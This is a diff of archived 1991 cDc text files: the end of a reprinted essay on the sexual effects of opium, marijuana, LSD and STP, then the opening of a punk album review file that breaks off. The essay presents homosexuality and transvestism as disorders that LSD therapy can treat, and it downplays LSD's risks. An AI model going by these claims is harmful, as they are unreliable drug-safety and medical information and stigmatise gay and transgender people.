women, both Europeans and +Asiatics, the effects produced by opium in moderate doses, say from 10 to 20 +pipes, are as follows: Under the influence of erotic excitement, either direct +or merely mental, an erection is quickly produced, if you want to copulate. +But - and this has never been remarked by any other author - although the penis +is in a stiff erection, its nerves, and more particularly, those of the glans, +are anesthetized by the effects of the opium, and though the erection is +strong, the emission, on the contrary, is much retarded and takes place only +after prolonged copulation. This anesthetic effect is also produced in the +nerves of the vulva, the vagina and the rectum of the woman, and the +'psychological moment' arrives slowly. The constrictor muscles of the vagina, +and especially those of the rectum, undergo a kind of relaxation." He goes on +to say that, with larger doses, more than 15 or 20 pipes, erection becomes +incomplete; and with 30 or 40 pipes, it is absent altogether. + + Jacobus' remarks also apply to peyote, to the LSD-type synthetics and, to +a lesser degree, marijuana. Those under the influence of these drugs describe +the mild surface anesthesia, if that is what it is, as a feeling of +'rubberiness' that effects the penis, the female genitals and also sometimes +the mouth, the breasts, the fingers and other body areas. It is by no means +an unpleasant sensation; often it is described as heightened feelings of +voluptuousness. Along with the rubbery sensation, the genitals, if excited, +are felt to be engorged to an unusual degree. + + At least as ancient as opium is the hemp plant (Cannibis sativa, or +Cannibis indica). When used as a drug, it is called marijuana, hashish and a +great deal of other names. Scientific reports on the sexual effects of +marijuana are conflicting. For example, the French toxicologist Erich Hesse +(Narcotics and Drug Addiction) tells us that marijuana and hashish provide no +sexual stimulation whatever; but another physician-author Bernard Finch +(Passport to Paradise), declares that "After several inhalations, a feeling of +sexual excitement develops and the smoker is able to improve his sexual +performance, in that erection is stronger and more persistent, but orgasm is +depressed and usually does not take place." + + I could provide a great many more conflicting 'authoritative' statements +on this matter, although Finch is the only writer I know who suggests that +marijuana by itself produces a condition of sexual excitation. He also is the +only one to say that orgasm "usually" does not take place. + + From many other times and places, we also have claims that hemp is an +aphrodisiac - and other claims that it is an anaphrodisiac, an inhibitor of +sexual desire or of potency. But whichever way they lean, the authors of these +claims are relying on personal predilection, on very limited interview data or +on the verdict of some favorite 'authority' who has already made similar +errors. We find the same conflicting evidence from "experts" writing about the +sexual effect of peyote or LSD. + + Anyone who has carefully studied psychoactive drugs should know that many +different effects are possible, depending on personal, cultural or immediate +situational factors - which are often crucial in determining drug-state +behavior. With marijuana and other psychedelics, people who are sexually +stimulated may find that their stimulation is greater than usual and that their +capacity to respond has been heightened. Others may find themselves totally +indifferent such as the writer Theophile Gautier, who took some hashish and +generalized that "a hashish user would not lift a finger for the most beautiful +woman in Verona." The same individual may find that he is greatly aroused on +one occasion and unexcited on the next. Or his mind may experience desire +while is body is unable to act in concert with it. + + Some cultures place great faith in the aphrodisiacal effects of hemp; and +in those cultures the drug often does function as an aphrodisiac - producing +sexual excitation, enhancing potency and pleasure, and prolonging sexual +intercourse. Among Arabs, there is a vast lore of the effectiveness of hemp in +maintaining an erection - the prolongation of the sex act being almost an +obsession with some Moslems. A famous poem on this subject begins: + + The member of Abu'l-Haylukh remained + In erection for 30 days, sustained + By smoking hashish + Abu'l-Haylukh deflowered in one night + Eighty virgins in a rigid rite + After smoking hashish + + The poem goes on to describe still more feats of sexual athleticism; but +underlying its characteristic Arab hyperbole is some solid fact - hemp can, +indeed, prolong an erection. Besides the mild anesthesia described by Jacobus, +the male, with marijuana, may feel that his erect organ is bigger and more +rigid than ordinarily. Sometimes, as happens with LSD and peyote, too, orgasm +does not occur at all, which causes him no great distress, since he feels that +this is a small price to pay for the pleasure he has enjoyed, and the +impression he has made on his partner. When copulation does not lead to +orgasm, both partners still may achieve it by vigorous masturbation. + + My own data regarding the contemporary use of marijuana use in this +country - in terms of its sexual effects - reflect the conflict in this +literature. Individual testimonials describe both sexual successes and sexual +failures. Overall, it appears that up to now, marijuana has been about as +likely to impair as to improve sexual performance. However, growing acceptance +of the drug may be making the latter effect the more common. Much can depend +on the users intention. Some prostitutes smoke marijuana to eliminate genital +sensation - while at the same time they give the weed to their customer to help +him become more stimulated. In this case, it probably works for the male +because it makes him more responsive to the suggestion that he will be more +potent - and simultaneously it may reduce his inhibitions and anxieties. + + It should be noted, however, that sexual effects may relate to the potency +of the drug. The strength of hemp products can depend on many things - where +the hemp is grown, how it is harvested and prepared and how it is consumed. +From one country to the next, or among regions of a country, there are great +differences in the potency of the plants. As to consumption, it is believed +that smoking gives the strongest effect, by altering the chemical composition +of the drug. Research in these areas are now under way, but results are still +inconclusive. The eventual findings may explain to some extent the different +responses among marijuana smokers. But individual psychology will still be a +major factor. + + At its best, most marijuana consumed in the U.S. is a mild psychedelic +drug, affording what is rarely more than a pallid approximation of the +experiences possible with LSD and peyote. The effects of these two on sexual +intercourse are virtually identical, and a statement about LSD may well be +understood to apply just as well to peyote - and probably to their LSD-type +psychochemicals, such as mescaline and psilocybin. + + I compiled my data on the sexual effects of psychedelic drugs in a series +of interviews, mostly "in depth" beginning in 1954 and continuing today. My +information is based on more than 300 drug-state sexual experiences on the part +of 94 persons, about two thirds of them males. Nineteen homosexual experiences +are included. The interview subjects were almost college graduates from +middle-class white Protestant backgrounds. Most of them took the psychedelic +drugs outside any formal research or therapeutic context and then reported +their experiences to me. + + In other words, I did not study the effects of psychedelics on sex in the +laboratory, as sexual intercourse has been so fruitfully studied by William +Masters and Virginia Johnson in St. Louis. My firsthand research with +psychedelic drugs - which was largely concerned with matters other than sex - +has now been abruptly ended by laws prohibiting almost all research in this +area. But I did obtain, in the sessions I guided personally, some material +significant in understanding psychosexual disorders. It was surprising how +often these disorders seemed grounded in problem of values or, specifically, in +low self-esteem. Nowhere can values be so quickly and so drastically changed +as in LSD sessions. In several instances, discussed below, persons with sexual +problems showed noticeable improvement after their LSD sessions - quite a +remarkable occurrence, inasmuch as the sessions were intended as research and +therapeutic results were not expected. + + To determine whether psychedelics drugs are, indeed, aphrodisiacs, we must +first determine what we mean by an aphrodisiac. If we mean that the drugs +specifically excite the sexual organs, then psychedelics are not aphrodisiacs. +If we mean that they produce or encourage sexual desire, again they are not +aphrodisiacs. But if we mean that the drugs can profoundly enhance the quality +of sexual acts that occur between people who would, in any case, have had +intercourse, then the drugs are aphrodisiacs, and my only objection to the term +in this context is that it will continue to be misused by psychedelic or sexual +extremists. + + Drug-state phenomena that occur during a sex act occur in other drug-state +contexts, too. The most common are changes in sensory perception, in awareness +of time, in the state of the ego, in one's relations to others and in the +emotions generally. In fact, these changes effect whatever one does, whether +it be listening to music, walking through a forest - or making love. + + The positive effects of LSD in lovemaking can best be appreciated by +describing a hypothetical sexual act between husband-and-wife lovers - or +between single lovers, should that seem more adventurous. I will not, however, +hypothesize a casual erotic encounter between two near strangers, because such +an encounter would be less likely to produce so favorable an experience. A +strong emotional bond, or at least very positive feelings for the partner, is +much more likely to yield the richest, most intense and most ecstatic +experience. + + People rarely have sexual intercourse at the very start of a psychedelic +trip. First, as the perceptual changes occur and as consciousness is altered +in other ways, they need to orient themselves in this new world. In my sample, +this was true no matter how many previous LSD experiences they might have +shared. Typically, when there is sexual intercourse, it occurs at least one +hour and usually several hours after the onset of the psychedelic effects. + + When the two people are longtime lovers, they may feel, in the drug state, +an emotional closeness as intense as they felt in the early, most emotion- +charged stages of being in love. Since visual perception is highly responsive +to the emotions, each partner may take on an appearance of extraordinary +radiance and beauty. Communication may seem multileveled, with a greatly +heightened sensitivity to nuances of meaning - in gestures, caresses and words +as well. If this couple decides to make love, they will bring this heightened +sensitivity to their union, and their desire and the act itself may be +suffocated with the same positive emotion - and with the same beauty - that has +been present in their perceptions. + + As foreplay and intercourse increase their excitement, the couple +will become aware of the genital sensations described by Jacobus. The man may +feel that his erection is larger and more firm and his potency greater than it +has ever been before, heightening his confidence, producing a greater sense of +total genital arousal and increasing his capacity to respond. Anxiety about +the duration of the act will very quickly disappear. The couple will feel that +their lovemaking will last just as long as they want it to last, so that time +no longer matters. In the more profound experiences, there may be a sense of +timelessness - of the eternal. + + Several elements combine to produce these novel and extremely pleasurable +awarenesses of time. For one thing, intercourse always does last much longer +in terms of the clock. This is probably because of the mildly anesthetized +state of the sexual organs - although the term 'anesthesia' seems strikingly +inappropriate in describing these very intense sensations. Moreover, +diminished inhibitions soon produce self-confidence and spontaneity that help +reduce concern about the duration of the act. Finally, there is the distortion +- or 'slowing down' - of time that is a usual and important aspect of the +psychedelic state. This distortion (a term that is technically correct but +fails to convey its positive qualities) of subjective time is experienced +because the mental processes have been enormously accelerated. So much may be +experienced in a few minutes of clock-measured time that the person typically +declares that 'hours' or sometimes 'eons' seem to have passed. A sexual union +that in fact lasts 30 minutes or an hour may seem 'endless' or to have 'the +flavor of eternity.' Lovemaking that lasts for several hours is not too +infrequent. + + The sexual union gathers ever more meaning and beauty as it progresses. +It may even take on symbolic and archetypal overtones. The couple may feel +that they are mythic, legendary, or more-than-human figures as they act out in +a timeless and beneficent space of eternally recurring drama of love and +creation. The feeling of being more than human does not indicate grandiosity +but, rather, that one has transcended the ordinary boundaries of self, the +limits of time and space, so that something more, some infusion of the divine +or supernatural, must have occurred. This awareness is accompanied by profound +feelings of security, tenderness, humility and gratitude. Sometimes only one +partner will enjoy this transcendental experience, but with surprising +frequency the feelings are shared. + + When sexual union includes altered states of consciousness such as these, +it is properly described as ecstatic. It may progress to include one or even +several instances of apparent physical and psychic melting into and becoming +one with the partner. Whether this occurs in a sexual union or in a mystical +context, or in a combination of the two, it is almost always regarded as one of +the most profound and fulfilling experiences human life has to offer. The one +that the two become is a unity much greater than its components. Religiously +devout or mystically inclined people may have the sense of a unity that is also +a trinity, with God present in the oneness. In any case, an experience of this +order can hardly be dismissed as 'sexual mysticism' - a term sneeringly used by +some of the more rabid opponents of psychedelic experimentation. Nor can it be +tossed away with some labels from psychopathology, such as 'ego dissolution' +and 'depersonalization.' It can be one of the most beautiful and important +experiences in life. + + In view of all that has gone before, the orgasm - when it arrives - may +seem something of an anticlimactic climax. Some people, in this orgasm-happy +society, learn for the first time how much more than can be to sex than the +brief intensity of the climax - and how much their past sexual experience has +been impoverished by the urgent and infantile drive toward orgasm that is so +prevalent in Western societies. + + However, the orgasm, too, is 'psychedelic' - that is, magnified or +intensified. Time distortion can greatly prolong it, and there is an awareness +of the whole process from beginning to end, in far greater detail. Men very +often report sensations of gathering tension, concentration of energy and then +an extremely acute awareness of the spasmodic propulsion of the ejaculate, +which is plainly and pleasurably felt as it travels along the urethra and is +ejected into the vagina of the partner. At the same time, there is a greatly +intensified awareness of the genital organs of the partner: their texture, +temperature and movement. Some women for the first time become keenly aware of +the pulsations of the male organ as climax begins - and of the ejaculate as +they receive it. + + Orgasm is often experienced upon two levels. It is the most intensely +erotic aspect of the act, as consciousness seems totally absorbed in the +orgasmic sensations. And yet there seems also to be another consciousness, +which does not dilute but rather reinforces the genital consciousness. This is +the sense of attaining the beautiful climax of a beautiful experience. + + Remarkably, in view of the richness of the experience, throughout these +unions there is an undiminished and sometimes greatly intensified awareness of +the partner. One does not lapse into a selfish and exclusive preoccupation +with the components of ecstasy. + + In almost 25 percent of the sexual acts I recorded, one or both partners +did not reach orgasm. This was nothing new for most of the women; but for some +of the men, it was a novel experience. Typically, however, the absence of +orgasm was not a disappointment. The act itself was so fulfilling that the +attitude was: Who cares whether there was an orgasm? This, too, can be a +valuable experience for those women who seldom climax in their ordinary +lovemaking. It teaches them that even without orgasm, sex can provide +remarkable fulfillment. + + Under the influence of psychedelics, the anorgasmic woman can experience +great joy in intercourse and derive gratification from conferring just as much +joy on her partner. If this lesson were learned and applied to all +intercourse, many people - both male and female - would be better off for it. +It is worth noting that at least some have learned it through psychedelic +experimentation. + + The foregoing description was of a maximal drug-state sexual experience. +Slightly more than half of my heterosexual subjects reported extraordinary +unions resembling or approaching this at least once. The frequency probably +would have been lower with younger or with less intelligent individuals, +because richness of personality is a key factor in determining the richness +of the psychedelic experience. An earned capacity for appreciating the complex +and profound must already exist. + + My intention here is not to promote the haphazard and now illegal use of +psychedelic drugs - with or without sexual intercourse. But it is only +realistic to admit that many thousands of people are taking psychochemicals +without screening or adequate guidance. Of these, a good many are also +experimenting with sex. It seems best that they be informed about +possibilities beyond 'kicks' and trivia, so that they can explore the many +valuable aspects of an experience that might otherwise be wasted. + + My research indicates that homosexuals in psychedelic states enjoy +profound, ecstatic sexual experiences with less frequency - and less intensity +- than their heterosexual counterparts. Female homosexuals seem more likely to +have profound sexual experiences than male homosexuals. The very practical +matter of the positioning of the bodies appears to provide a partial +explanation. The ecstatic experience seems more likely to occur when one faces +the partner while the act is being performed. Social attitude toward +homosexuality, as well as the homosexual's typical guilt and low self-esteem, +may also be deterrents. In the drug state, homosexual acts are usually +specifically erotic and less invested with other positive meaning. However, +the physical pleasure of genital, oral and anal sensations is enhanced, just as +with heterosexuals. + + Claims that LSD-state sexual intercourse can 'cure' homosexuality and +frigidity may lead to enormous disappointment - and possibly serious harm - to +psychosexually disturbed people, who have enough problems already. Under the +influence of psychedelics, a failure to function as promised might cause a +powerful reinforcement of existing disorders, making any cure more difficult. + + Nor is it invariably, or even frequently, true that, in the words of +Timothy Leary, a "neurological and cellular fidelity" develops between two +person who have had sexual relations during an LSD experience. The notion is +poetic but inaccurate. Even the most beautiful drug-state sexual unions do not +always guarantee change in a previous relationship. Leary's devotees sometimes +tell me, with what sometimes seems more hope than conviction, that Leary speaks +a 'private language,' the better to convey the ineffable truths. However, the +fact is that he is taken literally by a great many people. He has said, for +instance, that "in a carefully prepared, loving LSD session, a woman will +inevitably have several hundred orgasms." I have yet to hear from anyone else +a single instance remotely approximating this; and I feel rather confident that +if it had been happening with any frequency, the world would not have had to +wait for Leary to announce it. + + While LSD can hardly be considered a panacea for sexual disorders, it does +hold promise for becoming an extremely valuable tool in treating those and many +other promises. And it will become even more valuable when therapists stop +regarding it as adjunct to their old procedures and develop psychedelic +therapies permitting them to make full use of the great wealth of phenomena +available. + + Scientific literature on psychedelics includes hundreds of reports of +successful treatment, even with the old procedures, for such disorders as +homosexuality, frigidity, impotence, fetishism and even transvestism, one of +the most difficult to treat of all sexual deviations. Good progress in these +areas has been made in England, and it is certainly unfortunate that psycho- +therapists in this country are legally unable to work extensively with +psychedelics. + + Some homosexuals, for instance, as part of their low self-esteem, have a +distorted body image. They think they are ugly or deformed when they are not, +and may believe that they have an abnormally small penis - when they actually +have a normal one. In LSD sessions I recorded, the body image of homosexuals +sometimes became normalized, heightening self-esteem and producing definite +trends toward heterosexualization. Here, homosexuality seemed based mainly on +values - not on some long past traumatic experience. In any case, hetero- +sexualization could occur without any trauma being dealt with. However, when +there was no subsequent therapy, the subjects' homosexuality returned within a +few months after their LSD sessions were over. + + Some men with potency problems decided in their LSD sessions that their +sexual organs were not too small and afterward their potency improved, +sometimes permanently. A frigid woman discovered that an 'inner voice' had +been calling her a 'fake' and an 'unworthy person.' The voiced ordinarily +talked to her 'on some below level consciousness'; but in her LSD session, she +heard it clearly and she was able to refute it just as clearly. After freeing +herself from this voice, she felt she no longer had to punish herself by +denying herself sexual pleasure. Her frigidity soon was overcome - and had not +reappeared almost four years later. + + The therapeutic value of LSD is by no means limited to sexual disorders. +Alcoholics intractable to all previous therapies have quit drinking or become +much improved after treatment with psychedelics. Cure and improvement rates +range anywhere from 25 to 75 percent, and some of the studies have been very +well controlled. In other cases previously withdrawn, schizophrenic children +improved when psychedelics were administered. Given the questionable value +of some approved psychotherappies, it is a wonder that public outcry has not +demanded increased use of psychedelics in the areas where there promise seems +so great. + + Possibly such a great demand is now discouraged by recent evidence linking +LSD to chromosomal abnormalities. This charge must be considered in proper +perspective. The fact is that no one, at the present time, can say how +important LSD-caused chromosomal damage may be. We do know that rather similar +chromosomal changes are produced by many products widely used - caffeine (in +coffee and cola drinks), alcohol, antibiotics and a wide range of drugs about +which no such furor has been raised. Live measles vaccine, in particular, +quickly produces chromosomal breaks. We know, too, that LSD has been in use +for a quarter of a century, apparently without causing cancer or deformed +infants - the two main specters with which chromosomal damage of this kind +seems to confront us. Moreover, the U.S. Government continues to sponsor a few +LSD therapy projects, so Government scientists must not feel the risks are too +great. The sensible position must be to weigh LSD's value against possible, +but not demonstrated, dangers. The evidence is sufficient to warrant +withholding LSD from pregnant females. + + This may also be the place to mention briefly a new psychedelic substance, +STP. STP is yet more potent than LSD, producing effects that may continue for +days. It also produces far more bad trips and frequent aftereffects. The +chemical analysis of STP indicates similarities to mescaline and the +amphetamines, but more refined analysis is needed. + + Cases brought to my attention include aftereffects such as partial +amnesia, frightening perceptual changes and recurring states of panic. One +man, for example, weeks later, felt his head alternately growing to the size of +a watermelon and shrinking to the dimensions of a pea. It is too soon to say +whether these sensations will be permanent. No one I have talked to appears to +have had sexual intercourse under STP. For those persons, at least, the +experience was much too overwhelming. Neither does it seem likely at this +point that STP will have much value for research or therapy. Pending further +information, the best advice is to leave the drug alone. + + With STP, we may be witnessing the unhappy result of too many unscientific +medical pronouncements combined with too many scare stories about psychedelic +drugs. A number of physicians have greatly exaggerated the dangers of the old +psychedelics - and even of marijuana. Now, with a drug that seems to be much +more dangerous, these 'scientists' have forged a credibility gap that prevents +many people - especially those in the psychedelic underground - from taking +their claims seriously. Warnings about STP from physicians have been much less +effective than those voiced by the underground press. The medical profession +should consider this lesson and perhaps profit by it. More psychedelics will +be created and some will almost certainly be very dangerous. Disaster could +ensue unless scientists manage to regain the confidence in the public. + + In the case of LSD and the 'milder' psychedelics, the chances of +unfortunate results can be reduced by following a few basic precautions. Since +psychedelic experience can magnify tendencies in oneself, in others and in the +surroundings, psychedelics should not be taken in an environment that will +threaten or displease. When this precaution is ignored, there can be bad trips +- whether or not intercourse is a part of the experience. + + Sexologists always urge a pleasant setting for intercourse - as well as a +partner one respects and relates to positively. This becomes even more +important when the couple has taken psychedelics. With LSD, a drab, dirty room +that might ordinarily be ignored can become a filthy, sordid pesthole, and this +perception of the room can saturate the total experience. Similarly, sex with +a person about whom one has negative feelings can become, with LSD, an +experience of extreme repulsion - with guilt, depression or anxiety as a +result. In two cases I know of, males took LSD, picked up prostitutes and had +very bad trips. Both men, of course, had basically negative feeling about +prostitutes and these emerged in a much heightened form during the sexual act. + + Both men were initially aroused, but soon began to feel degraded and then +powerfully repelled by the situation. One felt that the woman's body was +coated with "a dirty, poisonous substance" that rubbed off on his own body and +infected him. He managed to get her out of the room, was near panic for a long +while and, after the effects of the LSD had worn off, he went into a depression +that lasted for some days. In fact, his perception might not have been +completely imaginative, since he contracted gonorrhea as a result of this +contact. In the other case, the male found the girl becoming more and more +ugly as he looked at her. Then the room became similarly ugly. He became +nauseous, then was overwhelmed by feelings of guilt about his 'prejudice.' +That the man was white and Jewish and the woman Negro made the situation +especially complicated and charged with emotion. + + With LSD, some people may become aware of what they feel are opposite-sex +components of their personality. This they interpret as evidence that they are +homosexual. Some males with effeminate tendencies, who strongly suppress their +effeminacy, have felt they were undergoing a physical sex change. Their bodies +seemed to have female breasts and genitalia. Understandably, this kind of +experience, too, can lead to anxiety and depression. And afterward, the person +may believe that his 'true personality' was revealed. + + One should never regard drug-state as necessarily more revealing than +other types of experience. With LSD-type drugs, what might be a passing and +easily dismissed idea can become a prolonged a vivid mental event. But this +doesn't mean that it necessarily has greater validity than the passing idea +would have ordinarily. Such phenomena are best regarded as drug-state +curiosities that will not effect the normal personality and behavior. + + When negative perceptions or emotions occur, and if they last long enough +to be distressing, it is best not to analyze them. Try to get interested in +something else. Psychedelic veterans have learned to do this. Similarly, it's +often easy to divert the partner, should his or her distress become obvious. +This might be done with an especially interesting or amusing remark or by +telling the other person how much pleasure he or she is giving. If, as ought +to be the case, the two people are lovers or good friends, then it is likely +that they will know how to help each other, should the need arise. For this +reason, too, psychedelic experience is not a desirable arena for casual sex +between two strangers. + + Spontaneous changes in visual perception may also provide very pleasant +experiences. One man, for example, related that his girlfriend changed as he +held her in his arms, first to Helen of Troy, then to Cleopatra, then in +successive metamorphoses to yet other women, so that he quickly "made love to +all the famous beauties in history." After a while, the girl resumed he own +appearance, although her beauty was greatly heightened, and he "thought he no +less lovely than any of the others and appreciated very much her part in +providing such a great experience." + + There are a host of similar erotic phenomena that sometimes occur in the +psychedelic state. These might seem trivial and self-indulgent compared with +the transcendence of the ecstatic union, but they are interesting, nonetheless. +For many people, for instance, it is possible to 'genitalize' almost any part +of the body, by consciously transferring the response capacity from the sexual +organs to some other part, such as a finer. Rubbing one's finger against a +fabric can provide sensations akin to those experienced in masturbation. A +couple might even genitalize the lips and the mouth, so that kissing affords +sensations very much like those usually experienced in mouth-genital contacts +or in sexual intercourse. + + One man, who had taken a large dose of LSD (about 500 micrograms), found +himself unable to obtain an erection, despite much assistance from his partner. +Abandoning the effort, they lay side by side. Suddenly, he became aware of his +entire body as "one great, erect penis. The World," he said, "was my vagina +and I had a sense of moving in and out of it, with intense sexual sensations." + + A few research subjects have reported similar erotic sensations from +listening to music. One man reported "the sexualization of my entire body as +I listened to Beethoven's Pastoral Symphony. The music washed over every inch +of my body, giving sexual sensations like those of a very intense orgasm. The +pleasure became so intense as to be unendurable. I had to shut off the +phonograph. I wondered at every instant if I would not have a real +ejaculation." In a subsequent LSD experience, he responded to the same +recording in the same way. No other music produced the phenomenon, and he +never learned why the Pastoral should have such an effect. With another +subject, any symphonic music produced strong sexual sensations. + + When males see vivid images or visions, they almost always include +beautiful nudes, with Balinese dancing girls and other Orientals appearing +frequently. Drug-state visions in America are shot through with this +predilection for the East - in architectural and religious imagery as well as +in nudes. But just as women are less interested in erotic art, so do they have +less erotic imagery. + + The aftereffects of drug-state sex can be of very great value, though +often the results don't last. As an immediate aftermath of a good sexual +experience under LSD, some couples report an over-all improvement in their +relationship - and a specific improvement in their sex life. Frequently, a +portion of the drug-state perception of the woman's greatly heightened beauty +carries over, so that she continues to appear more attractive. Sometimes, with +psychedelics, inhibitions fall away, allowing people to engage in sexual +practices that are normal and that had been desired, but which inhibition +prevented. Extensive caressing of the genitals and mouth-genital stimulation +are frequent examples. Breaking through such blocks can be permanent. +Especially among married couples, who had largely ceased to attract each other +sexually, there can be a reactivation of old desires and emotions. Most of +these beneficial aftereffects are lost in days, weeks or months, but they can +be retained - or possibly reactivated by another LSD session - if they are +regarded as important enough to be worth preserving. + + Because ecstatic union is so rich an experience and may have very positive +effects on a relationship, it is obviously desirable that it occur and be +repeated. This is possible without psychedelics, but the necessary changes in +consciousness occur more readily when they have first been experienced in +LSD-type states. After LSD, memories and pathways in the nervous system have +been strongly established and can be explored again more easily. + + To take some terminology from the theologians, we have been busy for a +long while 'demythologizing' sexual intercourse - divesting it of a sense of +sin and a necessary connection with procreation. But a totally demythologized +sex can be mechanical, vapid and banal if it remains without larger +significance. Ecstatic sexual experience may be the new and valuable +'remythologizing' agent. With and without psychedelic drugs, we may be able to +invest the sexual union with new beauty and meaning. + + + *=-- --=* + { -=*/> Buzzz Bros. <\*=- } + { MCMXC } + *=-- --=* + + "You have the right to free speech - + As long as you're not dumb enough to actually try it." + + +__________________ + +Special Thanks to: +__________________ + +The old man at Maxwell St. that sold me the magazine for $1 +93.1 FM WXRT (Chicago) +The return of RIPCO (312) 528-5020 - after the Operation SunDevil bust +Anyone who actually took the time to read the whole file +3rd BASS +The Hyatt Regency Chicago + +(c) MCMXC -=*/> Buzzz Bros. <\*=- + + _ _ ____________________________________________________________________ +/((___))\|Demon Roach Undrgrnd.806/794-4362|Grassroots..............new # soon| + [ x x ] |NIHILISM.............513/767-7892|The People Farm.......916/673-8412| + \ / |Tequila Willy's GSC..209/526-3194|The Works.............617/861-8976| + (' ') |Lunatic Labs.........213/655-0691|Ripco.................312/528-5020| + (U) |====================================================================| + .ooM |1991 cDc communications by R.E.L. Masters. 01/03/91-#151| +\_______/|All Rights Pissed Away. | + diff --git a/textfiles.com/groups/CDC/cDc-0152.txt b/textfiles.com/groups/CDC/cDc-0152.txt new file mode 100644 index 00000000..3562c9ae --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0152.txt @@ -0,0 +1,204 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... cDc core #6 + original album reviews + by The Pusher + + >>> a cDc publication.......1991 <<< + -cDc- CULT OF THE DEAD COW -cDc- + ______________________________________________________________________________ + + +A few notes: + +(1) Does anyone read this? Call Demon Roach Underground and let me know. + +(2) Looking back at previous cDc cores, some of the reviews are pretty crappy, +writing-wise, and opinion-wise. There's a lot of stuff that I hated at first, +but now I really dig. (UNDERDOG, for example.) I think you'll find that these +are the best written reviews yet, hopefully they'll be interesting even if you +don't have the records. + +(3) In the last cDc core, I said JUDGE has two ex-Youth of Today members in the +band, Sammy on drums, and Porcell on guitar. (In case you didn't remember, +Revelation reminded you via a sticker on the album.) Actually, JUDGE has THREE +ex-Youth of Today members! Singer Mike played drums with YOT for a short time. +He played on The Way It Is compilation. JUDGE broke up anyway, so who gives a +fuck? + +(4) If you're responding to #1. Do you want to see other types of music here? +Sub Pop? Amphetamine Reptile? "Alternative Metal" (FAITH NO MORE, PRONG, MIND +OVER FOUR, etc...)? I've been listening to some different stuff recently. + +(5) The video store where I worked is now a pile of ashes, as a result of a +mysterious fire. So I'm a little short on cash. So what's the point? +#7 might not be out for a long time. + ______________________________________________________________________________ + + +BAD RELIGION: Against The Grain (Epitaph) + + A new album already! It seems like "No Control" just came out. Anyway, +with this album, these guys further establish themselves as the greatest punk +band in the whole world. Somehow they manage to get each album to sound better +than the last. They keep progressing (refining is a better word) without going +metal or pop. Bad Religion are known for using big words, but they go nuts on +this album. "Syntactic is our elegance, incisive our disease, the swath +endogenous of ourselves and rested in its lea." I think it's safe to say that +if you don't like Bad Religion, you don't like punk. As far as the live show +goes, they were the best band I saw in 1990. + + +INSTED: What We Believe (Epitaph) + + I don't really buy a lot of SE records, but I do know that Insted is one +of the biggest SE bands in California right now. While all the current SE +bands have heavy chunky guitars and multiple mosh parts, Insted have an older +fast 7 SECONDS style, free of mosh parts. The songs pretty much fly by, +nothing really stands out. Despite the lack of creativity, I'd probably have a +lot of fun at one of their shows. This album isn't really good or bad, just +boring. + + +LIMBOMANIACS: Stinky Grooves (In-Effect) + + With the success of the RED HOT CHILI PEPPERS, funk is getting really big. +A lot of people say that these new funk/metal bands are just second-rate Chili +Pepper rip-offs, but Limbomaniacs definitely have a unique style. First, this +is straight funk, there's really no major guitar riffs. Second, there are +keyboards and horns, so this really sounds a lot more in the vein of +PARLIAMENT/FUNKADELIC. (Bootsy Collins sings on the first song, "Butt +Funkin".) Third, the vocals are done in a standard rap style, and there's a +lot of sampling going on. So what you get is a very "danceable" record that +should appeal to many different types of people. + + +QUICKSAND 7" (Revelation) + + In my humble opinion, this four song record is the best thing Revelation +has ever put out so far, even with the tacky cover. It's basically a hardcore +"supergroup". Drummer Alan Cage, currently in BURN (Revelation 7" out soon), +bassist Sergio (x-COLLAPSE), guitarist Tom Capone (guy who played all the leads +on SHELTER Lp and BOLD 7"), and singer Walter Schreifels (x-YOT), currently +guitarist for GORILLA BISCUITS. This is not really hardcore, but high energy +90's rock. (As opposed to retro-sludge 70's Sub Pap.) Most hardcore bands +that have major musical ability end up in cheeze-metal land (WARZONE, REST IN +PIECES, etc...), but Quicksand manage to avoid it. The music is riffy, slow +and crunchy, but the guitars are sharp, not fuzzy. Good raspy emo-vocals also. + + +SAMHAIN: Final Descent (Caroline) + + As we all know, SAMHAIN was Glenn "666=$$$" Danzig's band after THE +MISFITS. SAMHAIN released two mediocre albums and then Glenn took the bass +player from SAMHAIN ("Errie Von") and started DANZIG. The first side of this +album is 5 unreleased songs. Glenn not only sings but plays guitar, drums, and +keyboards! John Christ, guitarist for DANZIG is there to play the lead guitar +parts, so we've got 3/4th of DANZIG here. The songs could easily be DANZIG +songs, so you get impression that this wasn't recorded all that long ago. A +side project for $$$. + Side two is just Glenn doing vocals and guitar, Errie Von on bass, and +some other dude on drums way back in 1987. It's nothing more than re-recorded +versions of half the songs on the "Unholy Passion" album. I DO like DANZIG, so +I enjoyed this, and I'm sure 50,000 MISFITS fans will also. + + +SLAPSHOT: Sudden Death Overtime (Taang!) + + Boston's legendary hardcore goon squad return with their third LP, and a +brand new sound. While the previous records were 4-chord crude hardcore, +Slapshot now have a Marshall stack assault similar to KILLING TIME. Unfortun- +ately, Slapshot aren't the greatest musicians, so their attempt at "Noo Yawk +styley hahdcaugh" often comes out as generic heavy metal. The riffs are ok, +but the solos just plain SUCK. Even worse than the ones on the last six BLACK +FLAG albums. What saves this is Choke's vocals, and their basic half-joking +"Straight-edge In Your Face" attitude. They're really straight, but they know +how to poke fun at themselves. Best songs: "Something To Prove", a total rip +on the NYC scene, "Punk's Dead, You're Next", for all the EXPLOITED fans, and +"White Rabbit", an unintentionally hilarious cover of the JEFFERSON AIRPLANE +classic. + + +YOUTH OF TODAY 7" (Revelation) + + As THE band of the modern straight-edge movement, Youth of Today were +often compared to MINOR THREAT. Like MT, Youth of Today have released a +posthumous 3 song 7" that seems to say, "It was fun, but now we're gone, good +bye." I have no idea when this was recorded (the record has "The Washout +Sessions" etched in the middle), but I think it's the best thing YOT ever did. +The songs are pretty much in the vein of the earlier stuff, but the playing is +solid. There're a few things here and there that make it sound almost like +JUDGE, these songs are more distinct than those of previous days. The best +part of this record is the great production. Everything is clear and powerful, +unlike the "We're Not In This Alone" album, where you can't even hear the bass +and drums. There're some good old photos of the band, including Ray reading +some Hare Krishna literature on the van, and a very cute looking Sammy. (He +couldn't have been a day older than 13.) The lyrics are just a preview of what +would soon come with SHELTER. + + +Three compilation 7"s: + + +FOREVER (Irate) + + Aside from the fact that 4 of the 5 bands here are from New York and play 